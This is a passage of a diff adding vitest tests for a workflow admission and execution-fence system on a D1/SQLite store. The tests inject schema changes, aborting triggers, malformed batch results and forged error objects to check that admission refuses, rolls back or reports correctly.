+      if (variant === 'false success') return { ...response, success: false };
+      if (variant === 'missing results') return {};
+      if (variant === 'multiple rows')
+        return { ...response, results: [row, row] };
+      if (variant === 'wrong row')
+        return { ...response, results: [{ ...row, snapshot: '{}' }] };
+      if (variant === 'inconsistent changes')
+        return { ...response, meta: { changes: 0 } };
+      if (variant === 'negative changes')
+        return { ...response, meta: { changes: -1 } };
+      if (variant === 'sparse results')
+        return { ...response, results: new Array(1) };
+      if (variant === 'inherited result') {
+        const rows = new Array(1);
+        Object.setPrototypeOf(
+          rows,
+          Object.assign(Object.create(Array.prototype), { 0: row }),
+        );
+        return { ...response, results: rows };
+      }
+      const rows = [row, row];
+      Object.defineProperty(rows, 0, {
+        get() {
+          rows.length = 1;
+          return row;
+        },
+      });
+      return { ...response, results: rows };
+    });
+    const error = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(calls).toHaveBeenCalledTimes(1);
+    expect(error).toMatchObject({
+      message: 'initial admission cannot be terminalized',
+      status: 503,
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(h.rows()).toEqual([
+      expect.objectContaining({
+        snapshot: expect.stringContaining('"status":"failed"'),
+      }),
+    ]);
+  });
+
+  it('captures returned envelope, row fields and changes once without consulting custom iterators', async () => {
+    const h = await terminalFixture();
+    const reads: string[] = [];
+    terminalResponse(h, (raw) => {
+      const response = raw as {
+        results: Record<string, unknown>[];
+        meta: { changes: number };
+      };
+      const original = response.results[0];
+      if (!original) throw new Error('committed row required');
+      const row = Object.fromEntries(
+        Object.keys(original).map((key) => [key, original[key]]),
+      );
+      for (const key of Object.keys(row))
+        Object.defineProperty(row, key, {
+          get() {
+            reads.push(key);
+            if (reads.filter((value) => value === key).length > 1)
+              throw new Error('row reread');
+            return original[key];
+          },
+        });
+      const rows = [row];
+      rows[Symbol.iterator] = () => {
+        throw new Error('custom iterator');
+      };
+      return {
+        get results() {
+          reads.push('results');
+          return rows;
+        },
+        get meta() {
+          reads.push('meta');
+          return {
+            get changes() {
+              reads.push('changes');
+              return 1;
+            },
+          };
+        },
+      };
+    });
+    expect(
+      await h.capability.terminalizeInitialAdmission(h.request),
+    ).toMatchObject({ kind: 'terminalized' });
+    expect(reads.length).toBe(9);
+    expect(new Set(reads).size).toBe(9);
+  });
+});
+
+function claim(input: InitialRunAdmission) {
+  if (!input.reservation) throw new Error('test requires a keyed fixture');
+  return input.reservation;
+}
+
+describe('FS8 D2 dormant reservation primitives', () => {
+  async function modernClaim() {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const store = h.input.reservationStore;
+    if (!store) throw new Error('reservation store is missing');
+    h.sql.exec("UPDATE flowsafe_start_idempotency SET state = 'reserved'");
+    const reserved = await store.readForAdmission('key');
+    if (!reserved) throw new Error('reserved row is missing');
+    const claimed = await store.claimReservation(reserved);
+    if (!claimed) throw new Error('claimed row is missing');
+    expect(claimed.state).toBe('started');
+    expect(claimed.updatedAt).toBeGreaterThan(reserved.updatedAt);
+    return { ...h, store, reserved, claimed };
+  }
+
+  it('binds a real exact claim through atomic initial admission and returns its witness', async () => {
+    const h = await modernClaim();
+    const admitted = await h.admit({ ...h.input, reservation: h.claimed });
+    expect(admitted.witness.execution).toEqual(h.input.execution);
+    expect(h.rows()).toHaveLength(1);
+    expect((await h.store.readForAdmission('key'))?.binding).toEqual({
+      kind: 'bound',
+      execution: h.input.execution,
+    });
+    expect((await h.fence.read()).proofExecution).toEqual(h.input.execution);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'reserved',
+    'stale',
+    'owner',
+    'target',
+    'thread',
+  ] as const)('refuses a %s observation without an initial row or binding', async (mode) => {
+    const h = await modernClaim();
+    let reservation = h.claimed;
+    if (mode === 'reserved') reservation = h.reserved;
+    if (mode === 'stale') {
+      expect(await h.store.releaseReservation(h.claimed)).toBe(true);
+      const released = await h.store.readForAdmission('key');
+      if (!released) throw new Error('released row is missing');
+      expect(await h.store.claimReservation(released)).toBeDefined();
+    }
+    if (mode === 'owner')
+      reservation = { ...reservation, owner: { ...OWNER, id: 'other' } };
+    if (mode === 'target') reservation = { ...reservation, targetId: 'other' };
+    if (mode === 'thread') reservation = { ...reservation, threadId: 'other' };
+    const before = h.sql
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    const outcome = await h
+      .admit({ ...h.input, reservation })
+      .catch((error: unknown) => error);
+    expect(
+      h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+    ).toEqual(before);
+    expect(h.rows()).toEqual([]);
+    expect(outcome).toBeInstanceOf(Error);
+    expect((await h.fence.read()).proofExecution).toBeUndefined();
+    expect(h.effects()).toBe(0);
+  });
+});
+
+describe('owned initial workflow admission', () => {
+  it.each([
+    [
+      'unsupported column',
+      'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT',
+    ],
+    [
+      'nullable-id second row',
+      "INSERT INTO flowsafe_execution_fence (id, state, updated_at) VALUES (NULL, 'open', 0)",
+    ],
+  ])('refuses a final %s without changing keyed proof participants', async (_condition, change) => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const resources = new D1ResourceOwnershipStore(
+      h.db as unknown as ResourceOwnershipDatabase,
+    );
+    expect(
+      await resources.reserveAll(
+        [{ kind: 'run', resourceId: 'run' }],
+        OWNER,
+        'correlation',
+      ),
+    ).toBe(true);
+    const input = {
+      ...h.input,
+      runOwnerGuard: { owner: OWNER, reservationToken: 'correlation' },
+    };
+    const participants = () => ({
+      reservations: h.sql
+        .prepare('SELECT * FROM flowsafe_start_idempotency')
+        .all(),
+      owners: h.sql.prepare('SELECT * FROM flowsafe_resource_owners').all(),
+    });
+    const before = participants();
+    const batch = h.db.batch.bind(h.db);
+    let changedFence: unknown;
+    const write = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        expect(h.rows()).toEqual([]);
+        expect(
+          h.sql.prepare('PRAGMA ignore_check_constraints').get(),
+        ).toMatchObject({
+          ignore_check_constraints: 0,
+        });
+        h.sql.exec(change);
+        changedFence = h.sql
+          .prepare('SELECT * FROM flowsafe_execution_fence')
+          .all();
+        const result = await batch(statements);
+        expect(h.rows()).toEqual([]);
+        expect(participants()).toEqual(before);
+        expect(
+          h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+        ).toEqual(changedFence);
+        return result;
+      });
+    const outcome = await h.admit(input).catch((error: unknown) => error);
+    expect(outcome).toMatchObject({
+      status: 503,
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(outcome, input.execution)).toBe(
+      true,
+    );
+    expect(write).toHaveBeenCalledOnce();
+    expect(h.onInitialWriteAttempt).toHaveBeenCalledOnce();
+    expect(h.rows()).toEqual([]);
+    expect(participants()).toEqual(before);
+    expect(
+      h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+    ).toEqual(changedFence);
+    expect(h.effects()).toBe(0);
+    await expect(h.fence.readForAdmission()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+  });
+
+  it('admits exact active-epoch proof and reservation participants under the supported schema', async () => {
+    const h = await fixture({ keyed: true });
+    const reading = await h.fence.transition({
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: 'key',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+      advanceMutationEpoch: true,
+    });
+    const input = {
+      ...h.input,
+      mutationEpoch: reading.mutationEpoch,
+      proof: {
+        key: 'key',
+        mutationEpoch: reading.mutationEpoch,
+        transitionRevision: reading.transitionRevision,
+      },
+      requestContext: {
+        ...h.input.requestContext,
+        [PROVENANCE]: {
+          ...(h.input.requestContext[PROVENANCE] as object),
+          mutationEpoch: reading.mutationEpoch,
+        },
+      },
+    };
+    expect((await h.admit(input)).witness.execution).toEqual(input.execution);
+    expect(h.rows()).toHaveLength(1);
+    expect(
+      (await h.input.reservationStore?.readForAdmission('key'))?.binding,
+    ).toEqual({
+      kind: 'bound',
+      execution: input.execution,
+    });
+    expect((await h.fence.readForAdmission()).reading.proofExecution).toEqual(
+      input.execution,
+    );
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'before insert',
+    'after insert',
+  ] as const)('classifies response loss when the fence schema changes %s', async (phase) => {
+    const h = await fixture({ keyed: true });
+    const before = h.sql
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    const batch = h.db.batch.bind(h.db);
+    const lost = new Error('initial admission response lost');
+    const change = () =>
+      h.sql.exec(
+        'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT',
+      );
+    const write = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        if (phase === 'before insert') change();
+        await batch(statements);
+        if (phase === 'after insert') change();
+        throw lost;
+      });
+    const outcome = await h.admit().catch((error: unknown) => error);
+    expect(write).toHaveBeenCalledTimes(2);
+    expect(h.onInitialWriteAttempt).toHaveBeenCalledOnce();
+    expect(h.effects()).toBe(0);
+    if (phase === 'before insert') {
+      expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect(outcome).toMatchObject({ cause: lost });
+      expect(
+        isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution),
+      ).toBe(false);
+      expect(h.rows()).toEqual([]);
+      expect(
+        h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+      ).toEqual(before);
+    } else {
+      expect(outcome).toMatchObject({
+        witness: { execution: h.input.execution },
+      });
+      expect(h.rows()).toHaveLength(1);
+      expect(
+        (await h.input.reservationStore?.readForAdmission('key'))?.binding,
+      ).toEqual({
+        kind: 'bound',
+        execution: h.input.execution,
+      });
+    }
+    await expect(h.fence.readForAdmission()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+  });
+
+  it.each([
+    'foreign fence binding',
+    'foreign reservation binding',
+    'wrapped fence binding',
+  ])('rejects a valid %s before any initial-admission I/O', async (variant) => {
+    vi.spyOn(Date, 'now').mockReturnValue(1_700_000_000_000);
+    const local = await fixture({ keyed: true, state: 'proof-only' });
+    const foreign = await fixture({ keyed: true, state: 'proof-only' });
+    const foreignReservations = foreign.input.reservationStore;
+    if (!foreignReservations)
+      throw new Error('test requires foreign reservations');
+    const wrapped: InitialAdmissionDatabase = {
+      prepare: (sql) => local.db.prepare(sql),
+      batch: (statements) => local.db.batch(statements),
+    };
+    const input: InitialRunAdmission = {
+      ...local.input,
+      fence:
+        variant === 'foreign fence binding'
+          ? foreign.fence
+          : variant === 'wrapped fence binding'
+            ? new ExecutionFenceStore(wrapped)
+            : local.fence,
+      reservationStore:
+        variant === 'foreign reservation binding'
+          ? foreignReservations
+          : local.input.reservationStore,
+    };
+    const participants = () =>
+      [local, foreign].map(({ sql, rows }) => ({
+        snapshots: rows(),
+        fence: sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+        reservations: sql
+          .prepare('SELECT * FROM flowsafe_start_idempotency ORDER BY key')
+          .all(),
+      }));
+    const before = participants();
+    const io = [local.db, foreign.db, wrapped].flatMap((db) => [
+      vi.spyOn(db, 'prepare'),
+      vi.spyOn(db, 'batch'),
+    ]);
+    const createRun = vi.fn(() => local.workflow.createRun({ runId: 'run' }));
+    const outcome = await local.capability
+      .withInitialAdmission(input, createRun)
+      .catch((error: unknown) => error);
+
+    expect(participants()).toEqual(before);
+    for (const method of io) expect(method).not.toHaveBeenCalled();
+    expect(createRun).not.toHaveBeenCalled();
+    expect(local.onInitialWriteAttempt).not.toHaveBeenCalled();
+    expect(foreign.onInitialWriteAttempt).not.toHaveBeenCalled();
+    expect(outcome).toMatchObject({
+      status: 400,
+      reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+    });
+    expect(outcome).not.toHaveProperty('witness');
+    expect(isDefinitiveInitialAdmissionRefusal(outcome, input.execution)).toBe(
+      false,
+    );
+    expect([local.effects(), foreign.effects()]).toEqual([0, 0]);
+  });
+  it('refuses inherited batch slots after snapshot key and proof have all committed', async () => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const batch = h.db.batch.bind(h.db);
+    const calls = vi
+      .spyOn(h.db, 'batch')
+      .mockImplementationOnce(async (statements) => {
+        const results = await batch(statements);
+        const sparse = new Array(results.length);
+        const prototype = Object.create(Array.prototype);
+        for (let index = 0; index < results.length; index += 1)
+          prototype[index] = { results: [], meta: { changes: 0 } };
+        Object.setPrototypeOf(sparse, prototype);
+        expect(Object.hasOwn(sparse, 0)).toBe(false);
+        return sparse;
+      });
+    const reads = vi.spyOn(h.fence, 'readForAdmission');
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(h.rows()).toHaveLength(1);
+    expect(
+      (await h.input.reservationStore?.readForAdmission('key'))?.binding,
+    ).toEqual({ kind: 'bound', execution: h.input.execution });
+    expect((await h.fence.read()).proofExecution).toEqual(h.input.execution);
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(error).toMatchObject({
+      status: 503,
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+    });
+    expect(calls).toHaveBeenCalledTimes(1);
+    expect(reads).toHaveBeenCalledTimes(1);
+    expect(h.effects()).toBe(0);
+  });
+  it('ignores a custom batch iterator that fabricates zero evidence after a real INSERT', async () => {
+    const h = await fixture();
+    const batch = h.db.batch.bind(h.db);
+    vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+      const results = await batch(statements);
+      Object.defineProperty(results, Symbol.iterator, {
+        value: function* () {
+          yield { results: [] };
+          yield { results: [] };
+        },
+      });
+      return results;
+    });
+    const outcome = await h.admit().catch((error: unknown) => error);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution),
+    ).toBe(false);
+    expect(outcome).toMatchObject({
+      witness: { execution: h.input.execution },
+    });
+    expect(h.rows()).toHaveLength(1);
+  });
+  it('never grants zero evidence when a result getter shrinks the batch during capture', async () => {
+    const h = await fixture({ state: 'draining' });
+    const batch = h.db.batch.bind(h.db);
+    vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+      const results = await batch(statements);
+      const first = results[0];
+      Object.defineProperty(results, 0, {
+        get() {
+          results.pop();
+          return first;
+        },
+      });
+      return results;
+    });
+    const reads = vi.spyOn(h.fence, 'readForAdmission');
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(reads).toHaveBeenCalledTimes(1);
+    expect(h.rows()).toEqual([]);
+  });
+  it.each([
+    'method',
+    'prototype',
+    'constructor',
+  ])('keeps genuine all-zero evidence private against %s forgery', async (attack) => {
+    const h = await fixture({ state: 'draining' });
+    const error = await h.admit().catch((error: unknown) => error);
+    if (!(error instanceof Error))
+      throw new Error('expected genuine all-zero error');
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      true,
+    );
+    expect(
+      isDefinitiveInitialAdmissionRefusal(
+        new Error('wrapper', { cause: error }),
+        h.input.execution,
+      ),
+    ).toBe(true);
+    const other = { ...h.input.execution, startToken: 'another-generation' };
+    if (attack === 'method') {
+      Object.assign(error, { matches: () => true });
+      expect(isDefinitiveInitialAdmissionRefusal(error, other)).toBe(false);
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(true);
+    } else if (attack === 'prototype') {
+      const forged = Object.assign(
+        Object.create(Object.getPrototypeOf(error)),
+        { matches: () => true },
+      );
+      expect(isDefinitiveInitialAdmissionRefusal(forged, other)).toBe(false);
+      expect(
+        isDefinitiveInitialAdmissionRefusal(forged, h.input.execution),
+      ).toBe(false);
+    } else {
+      const Constructor = Object.getPrototypeOf(error).constructor;
+      const forged = Reflect.construct(
+        Constructor,
+        Constructor.length === 2
+          ? [h.input.execution, error.cause]
+          : [error.cause],
+      );
+      expect(forged.message).toBe(error.message);
+      expect(
+        isDefinitiveInitialAdmissionRefusal(forged, h.input.execution),
+      ).toBe(false);
+    }
+  });
+  it('rejects malformed caller objects and missing participant methods before I/O', async () => {
+    const h = await fixture({ keyed: true });
+    const values: unknown[] = [null, [], false, 1, 'invalid'];
+    const invalid: unknown[] = [...values];
+    for (const field of [
+      'requestContext',
+      'proof',
+      'runOwnerGuard',
+      'reservation',
+      'reservationStore',
+      'fence',
+    ]) {
+      for (const value of values) invalid.push({ ...h.input, [field]: value });
+    }
+    for (const field of ['fence', 'reservationStore'] as const) {
+      const original = h.input[field];
+      if (!original) throw new Error('test requires a participating store');
+      const methods =
+        field === 'fence'
+          ? ['usesDatabase', 'seed', 'readForAdmission']
+          : ['usesDatabase', 'readForAdmission'];
+      for (const method of methods)
+        for (const value of [undefined, null, false, 1]) {
+          invalid.push({
+            ...h.input,
+            [field]: Object.defineProperty(Object.create(original), method, {
+              value,
+            }),
+          });
+        }
+    }
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const batch = vi.spyOn(h.db, 'batch');
+    const create = vi.fn(() => h.workflow.createRun({ runId: 'run' }));
+    for (const input of invalid) {
+      const error = await h.capability
+        .withInitialAdmission(input as InitialRunAdmission, create)
+        .catch((error: unknown) => error);
+      expect(error).toMatchObject({
+        status: 400,
+        reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+      });
+      expect(prepare).not.toHaveBeenCalled();
+      expect(batch).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(h.onInitialWriteAttempt).not.toHaveBeenCalled();
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(false);
+    }
+  });
+
+  it('preserves original caller getter and callback failures', async () => {
+    const h = await fixture();
+    const fault = new Error('caller getter fault');
+    for (const requestContext of [
+      {
+        get [PROVENANCE]() {
+          throw fault;
+        },
+      },
+      {
+        [PROVENANCE]: Object.defineProperty(
+          { ...(h.input.requestContext[PROVENANCE] as object) },
+          'startToken',
+          {
+            get() {
+              throw fault;
+            },
+          },
+        ),
+      },
+      {
+        [PROVENANCE]: {
+          ...(h.input.requestContext[PROVENANCE] as object),
+          startIdentity: {
+            get owner() {
+              throw fault;
+            },
+          },
+        },
+      },
+    ]) {
+      await expect(h.admit({ ...h.input, requestContext })).rejects.toBe(fault);
+    }
+    await expect(
+      h.capability.withInitialAdmission(h.input, async () => {
+        throw fault;
+      }),
+    ).rejects.toBe(fault);
+    await expect(
+      h.admit({
+        ...h.input,
+        onInitialWriteAttempt() {
+          throw fault;
+        },
+      }),
+    ).rejects.toBe(fault);
+  });
+  it('admits an agent logical target without guessing its physical workflow and rejects mismatched threads', async () => {
+    for (const mismatch of [false, true]) {
+      const h = await fixture({ keyed: true });
+      h.sql.exec(
+        "UPDATE flowsafe_start_idempotency SET target_kind = 'agent', target_id = 'agent', thread_id = 'thread'",
+      );
+      const reservation =
+        await h.input.reservationStore?.readForAdmission('key');
+      const startIdentity = {
+        owner: OWNER,
+        target: {
+          kind: 'agent' as const,
+          id: 'agent',
+          threadId: mismatch ? 'other-thread' : 'thread',
+        },
+      };
+      const input = {
+        ...h.input,
+        startIdentity,
+        reservation,
+        requestContext: {
+          ...h.input.requestContext,
+          [PROVENANCE]: {
+            ...(h.input.requestContext[PROVENANCE] as object),
+            startIdentity,
+            agentStart: { threaded: false },
+          },
+        },
+      };
+      const prepare = vi.spyOn(h.db, 'prepare');
+      const result = await h.admit(input).catch((error: unknown) => error);
+      if (mismatch) {
+        expect(result).toBeInstanceOf(InvalidExecutionIdentityError);
+        expect(prepare).not.toHaveBeenCalled();
+      } else expect(h.rows()).toHaveLength(1);
+    }
+  });
+
+  it('keeps optional caller epochs separate from original proof-round counters', async () => {
+    const h = await fixture({ state: 'proof-only' });
+    const input = {
+      ...h.input,
+      mutationEpoch: 99,
+      requestContext: {
+        ...h.input.requestContext,
+        [PROVENANCE]: {
+          ...(h.input.requestContext[PROVENANCE] as object),
+          mutationEpoch: 99,
+        },
+      },
+    };
+    expect((await h.admit(input)).witness.execution).toEqual(h.input.execution);
+    expect((await h.fence.read()).mutationEpoch).toBe(0);
+  });
+
+  it('isolates concurrent scopes on one actual Core workflow domain', async () => {
+    const h = await fixture();
+    const inputs = ['first', 'second'].map((runId) => ({
+      ...h.input,
+      execution: { ...h.input.execution, runId, startToken: runId },
+      requestContext: {
+        ...h.input.requestContext,
+        runId,
+        [PROVENANCE]: {
+          ...(h.input.requestContext[PROVENANCE] as object),
+          startToken: runId,
+        },
+      },
+    }));
+    const outcomes = await Promise.all(
+      inputs.map((input) =>
+        h.capability.withInitialAdmission(input, () =>
+          h.workflow.createRun({ runId: input.execution.runId }),
+        ),
+      ),
+    );
+    expect(outcomes.map(({ witness }) => witness.execution.startToken)).toEqual(
+      ['first', 'second'],
+    );
+    expect(h.rows()).toHaveLength(2);
+  });
+
+  it('rejects malformed Date and JSON serialization before batch without no-write evidence', async () => {
+    for (const patch of [
+      { createdAt: new Date(Number.NaN) },
+      { snapshot: { ...pending(), unsupported: BigInt(1) } },
+    ]) {
+      const h = await fixture();
+      const batch = vi.spyOn(h.db, 'batch');
+      const error = await direct(h, patch).catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(Error);
+      expect(batch).not.toHaveBeenCalled();
+      expect(h.rows()).toEqual([]);
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(false);
+    }
+  });
+  it('does not let prepared context serialization replace or manufacture auxiliary identity', async () => {
+    const h = await fixture();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    for (const runId of ['foreign', undefined, 'run']) {
+      const requestContext = {
+        ...h.input.requestContext,
+        runId,
+        toJSON() {
+          return {
+            runId: runId === 'run' ? 'foreign' : 'run',
+            'breakwater.workflowScope': 'workflow',
+          };
+        },
+      };
+      const error = await h
+        .admit({ ...h.input, requestContext })
+        .catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+      expect(prepare).not.toHaveBeenCalled();
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(false);
+    }
+  });
+  it('guards an actual reused committed owner and preserves distinct initiating ownership', async () => {
+    for (const disposition of [
+      'keep',
+      'delete',
+      'replace-owner',
+      'replace-token',
+    ]) {
+      const h = await fixture({ keyed: true, state: 'proof-only' });
+      const actualOwner = { kind: 'human' as const, id: 'Resource owner' };
+      const ownership = new D1ResourceOwnershipStore(
+        h.db as unknown as ResourceOwnershipDatabase,
+      );
+      expect(await ownership.claim('run', 'run', actualOwner)).toBe(true);
+      expect(
+        await ownership.reserveAll(
+          [{ kind: 'run', resourceId: 'run' }],
+          actualOwner,
+          'correlation',
+        ),
+      ).toBe(true);
+      const input = {
+        ...h.input,
+        runOwnerGuard: { owner: actualOwner, reservationToken: 'correlation' },
+      };
+      const batch = h.db.batch.bind(h.db);
+      const prepare = h.db.prepare.bind(h.db);
+      let parameters = 0;
+      vi.spyOn(h.db, 'prepare').mockImplementation((query) => {
+        const statement = prepare(query);
+        const bind = statement.bind.bind(statement);
+        statement.bind = (...values) => {
+          if (query.startsWith('INSERT INTO "mastra_workflow_snapshot"'))
+            parameters = values.length;
+          return bind(...values);
+        };
+        return statement;
+      });
+      vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+        if (disposition === 'delete')
+          h.sql.exec('DELETE FROM flowsafe_resource_owners');
+        if (disposition === 'replace-owner')
+          h.sql.exec(
+            "UPDATE flowsafe_resource_owners SET owner_id = 'replacement'",
+          );
+        if (disposition === 'replace-token')
+          h.sql.exec(
+            "UPDATE flowsafe_resource_owners SET reservation_token = 'replacement'",
+          );
+        return batch(statements);
+      });
+      const result = await h.admit(input).catch((error: unknown) => error);
+      expect(h.rows()).toHaveLength(disposition === 'keep' ? 1 : 0);
+      expect(parameters).toBe(32);
+      if (disposition !== 'keep') {
+        expect(result).toMatchObject({
+          reason: {
+            code: 'RUN_ADMISSION_CONFLICT',
+            classification: 'run-owner-changed',
+          },
+        });
+        expect(
+          isDefinitiveInitialAdmissionRefusal(result, input.execution),
+        ).toBe(true);
+        expect(
+          (await h.input.reservationStore?.readForAdmission('key'))?.binding
+            .kind,
+        ).toBe('unbound');
+        expect((await h.fence.read()).proofRunId).toBeUndefined();
+      }
+    }
+  });
+
+  it('checks the exact winning claim on the initial INSERT before any binding effects', async () => {
+    for (const change of [
+      "owner_id = 'Bob'",
+      "target_id = 'other'",
+      "run_id = 'other'",
+      'updated_at = updated_at + 1',
+    ]) {
+      const h = await fixture({ keyed: true, state: 'proof-only' });
+      const batch = h.db.batch.bind(h.db);
+      vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => {
+        h.sql.exec(`UPDATE flowsafe_start_idempotency SET ${change}`);
+        return batch(statements);
+      });
+      const error = await h.admit().catch((error: unknown) => error);
+      expect(h.rows()).toEqual([]);
+      expect(
+        (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind,
+      ).toBe('unbound');
+      expect((await h.fence.read()).proofRunId).toBeUndefined();
+      expect(error).toMatchObject({
+        reason: {
+          code: change.startsWith('owner')
+            ? 'IDEMPOTENT_START_OWNER_MISMATCH'
+            : change.startsWith('target')
+              ? 'IDEMPOTENT_START_TARGET_MISMATCH'
+              : 'RUN_ADMISSION_CONFLICT',
+        },
+      });
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(true);
+    }
+  });
+
+  it.each([
+    'mastra_workflow_snapshot',
+    'flowsafe_start_idempotency',
+    'flowsafe_execution_fence',
+  ])('rolls back all participants on an actual %s statement exception', async (table) => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    const verb = table === 'mastra_workflow_snapshot' ? 'INSERT' : 'UPDATE';
+    h.sql.exec(
+      `CREATE TRIGGER reject_write BEFORE ${verb} ON ${table} BEGIN SELECT RAISE(ABORT, 'injected statement failure'); END`,
+    );
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(h.rows()).toEqual([]);
+    expect(
+      (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind,
+    ).toBe('unbound');
+    expect((await h.fence.read()).proofRunId).toBeUndefined();
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+  });
+
+  it('gives no no-write evidence when the callback uses another actual Core domain', async () => {
+    const h = await fixture();
+    const other = await fixture();
+    const error = await h.capability
+      .withInitialAdmission(h.input, () =>
+        other.workflow.createRun({ runId: 'run' }),
+      )
+      .catch((error: unknown) => error);
+    expect(other.rows()).toHaveLength(1);
+    expect(h.rows()).toEqual([]);
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+    expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+  });
+
+  it('captures a coherent frame before awaited preparation and refuses closed detached continuations', async () => {
+    const h = await fixture({ keyed: true, state: 'proof-only' });
+    let release!: () => void;
+    const wait = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const seed = h.fence.seed.bind(h.fence);
+    vi.spyOn(h.fence, 'seed').mockImplementationOnce(async (state) => {
+      await wait;
+      return seed(state);
+    });
+    const original = {
+      ...h.input,
+      execution: { ...h.input.execution },
+      reservation: { ...claim(h.input), owner: { ...OWNER } },
+      proof: { key: 'key', mutationEpoch: 0, transitionRevision: 1 },
+      requestContext: structuredClone(h.input.requestContext),
+    };
+    const admitted = direct(h, {}, original);
+    original.execution.startToken = 'changed';
+    original.reservation.owner.id = 'changed';
+    original.proof.transitionRevision = 99;
+    release();
+    expect((await admitted).witness.execution.startToken).toBe('generation');
+    const detached = await fixture();
+    let resume!: () => void;
+    const pause = new Promise<void>((resolve) => {
+      resume = resolve;
+    });
+    let later: Promise<unknown> | undefined;
+    await detached.capability.withInitialAdmission(detached.input, async () => {
+      await detached.domain.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'run',
+        snapshot: pending(),
+      });
+      later = pause
+        .then(() =>
+          detached.domain.persistWorkflowSnapshot({
+            workflowName: 'workflow',
+            runId: 'run',
+            snapshot: pending(),
+          }),
+        )
+        .catch((error: unknown) => error);
+    });
+    resume();
+    expect(await later).toBeInstanceOf(InvalidExecutionIdentityError);
+    expect(detached.rows()).toHaveLength(1);
+  });
+  it('rejects a prune toJSON that mutates the nested prepared context', async () => {
+    const h = await fixture({
+      prune: ({ snapshot }) => ({
+        ...snapshot,
+        toJSON(this: WorkflowRunState) {
+          if (this.requestContext)
+            this.requestContext.app.text = 'changed by serialization';
+          return this;
+        },
+      }),
+    });
+    const batch = vi.spyOn(h.db, 'batch');
+    const error = await h.admit().catch((error: unknown) => error);
+    expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+    expect(batch).not.toHaveBeenCalled();
+    expect(h.rows()).toEqual([]);
+    expect(h.effects()).toBe(0);
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+  });
+  it.each([
+    'before entry',
+    'persist hook',
+  ])('keeps the constructor binding after public capability replacement %s', async (when) => {
+    const first = await fixture();
+    const second = await fixture();
+    const saved = first.capability;
+    const replace = () =>
+      Object.defineProperty(first.domain, FENCED_WORKFLOW_STORAGE, {
+        value: second.capability,
+      });
+    if (when === 'before entry') replace();
+    const result = await saved.withInitialAdmission(
+      {
+        ...first.input,
+        onInitialWriteAttempt:
+          when === 'persist hook' ? replace : () => undefined,
+      },
+      () => first.workflow.createRun({ runId: 'run' }),
+    );
+    expect(result.witness.execution).toEqual(first.input.execution);
+    expect(first.rows()).toHaveLength(1);
